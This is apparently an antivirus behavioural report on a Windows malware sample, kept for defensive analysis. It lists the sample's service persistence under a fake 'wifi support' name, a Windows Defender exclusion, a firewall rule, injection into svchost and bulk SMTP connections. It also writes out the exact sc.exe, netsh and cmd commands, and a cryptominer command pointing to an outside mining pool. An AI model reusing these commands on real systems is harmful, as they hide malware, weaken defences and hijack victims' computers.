Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\wfilenyl] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wfilenyl] 'ImagePath' = '%WINDIR%\SysWOW64\wfilenyl\rrqwhvcf.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\wfilenyl] 'ImagePath' = '%WINDIR%\SysWOW64\wfilenyl\rrqwhvcf.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wfilenyl' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\rrqwhvcf.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\rrqwhvcf.exe to %WINDIR%\syswow64\wfilenyl\rrqwhvcf.exe
Deletes itself.
Network activity
Connects to
- 'mt##.##0.yahoodns.net':25
- 'ko########ess.de.1.0001.arsmtp.com':25
- 'mx##.####d.us.vadesecure.com':25
- 'mx.####o.locaweb.com.br':25
- 'alt2.aspmx.l.google.com':25
- 'ma###n2.rmx.de':25
- 'ma##.dnk.de':25
- 'aspmx.l.google.com':25
- 'mx#.#omcast.net':25
- 'gmail-smtp-in.l.google.com':25
- 'mx######91d01.pphosted.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK to###r-mainz.de
- DNS ASK un##.edu.co
- DNS ASK th###enger.de
- DNS ASK pv##1.de
- DNS ASK pa###amas.dk
- DNS ASK mx##.#spgateway.de
- DNS ASK vd###stro.de
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ms#.edu
- DNS ASK te##5.dk
- DNS ASK lc#.de
- DNS ASK aa####.obs.aau.dk
- DNS ASK lt#.de
- DNS ASK mx##.##ndenserver.de
- DNS ASK ma###nstift.de
- DNS ASK mx#.###-frankfurt.de
- DNS ASK em.###-frankfurt.de
- DNS ASK ho###.inet.tele.dk
- DNS ASK ma##.##i-paderborn.de
- DNS ASK up#.de
- DNS ASK fm###.mycci.net
- DNS ASK hi###rytech.net
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ma##.##pcar-mainz.de
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK be###outh.com
- DNS ASK ma##.ikasths.dk
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK ma##.dnk.de
- DNS ASK dn#.de
- DNS ASK hl####nningen.de
- DNS ASK ma###n2.rmx.de
- DNS ASK ze##s.de
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK gl##o.com
- DNS ASK ko########ess.de.1.0001.arsmtp.com
- DNS ASK ko####express.de
- DNS ASK google.com
- DNS ASK mx######9ad02.pphosted.com
- DNS ASK he##l.de
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK ep###-online.de
- DNS ASK te####st.teknet.dk
- DNS ASK td#.dk
- DNS ASK cc##zb.de
- DNS ASK mx##.####d.us.vadesecure.com
- DNS ASK in####aryhealth.org
- DNS ASK vm##s.de
- DNS ASK ik##ths.dk
- DNS ASK bi##mage.dk
- DNS ASK ya##o.fr
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK mx##.#mig.gmx.net
- DNS ASK d3#####.##s.barracudanetworks.com
- DNS ASK io##dsl.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK of#r.dk
- DNS ASK mx##.#aramail.com
- DNS ASK ca###ail.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx###02.web.de
- DNS ASK we#.de
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ba####.beta-inter.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK bl##mail.dk
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ya##o.co.in
- DNS ASK gm##l.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK gm#.de
- DNS ASK mo#.dk
- DNS ASK mx####.ppsmtp.com
- DNS ASK mx##.moe.dk
- DNS ASK dr#.de
- DNS ASK sm##.#osting.tp.pl
- DNS ASK ne###rada.pl
- DNS ASK ho####.inet.tele.dk
- DNS ASK ma###.nrwbank.de
- DNS ASK nr##ank.de
- DNS ASK sm####n.virgilio.it
- DNS ASK vi##ilio.it
- DNS ASK mx##.##bal.mailcore.com
- DNS ASK so#.dk
- DNS ASK mx##.1and1.fr
- DNS ASK fr####schini.net
- DNS ASK ro#####ev5.alinto.net
- DNS ASK ro###die.com
- DNS ASK mx##.#ydenergi.dk
- DNS ASK bl#e.dk
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK ma##.image.dk
- DNS ASK ya##o.com
- DNS ASK aspmx.l.google.com
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK is#.edu
- DNS ASK wi###wslive.com
- DNS ASK mx######91d01.pphosted.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wfilenyl\rrqwhvcf.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wfilenyl\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rrqwhvcf.exe" %WINDIR%\SysWOW64\wfilenyl\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create wfilenyl binPath= "%WINDIR%\SysWOW64\wfilenyl\rrqwhvcf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description wfilenyl "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start wfilenyl' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wfilenyl\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rrqwhvcf.exe" %WINDIR%\SysWOW64\wfilenyl\
- '%WINDIR%\syswow64\sc.exe' create wfilenyl binPath= "%WINDIR%\SysWOW64\wfilenyl\rrqwhvcf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description wfilenyl "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start wfilenyl
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
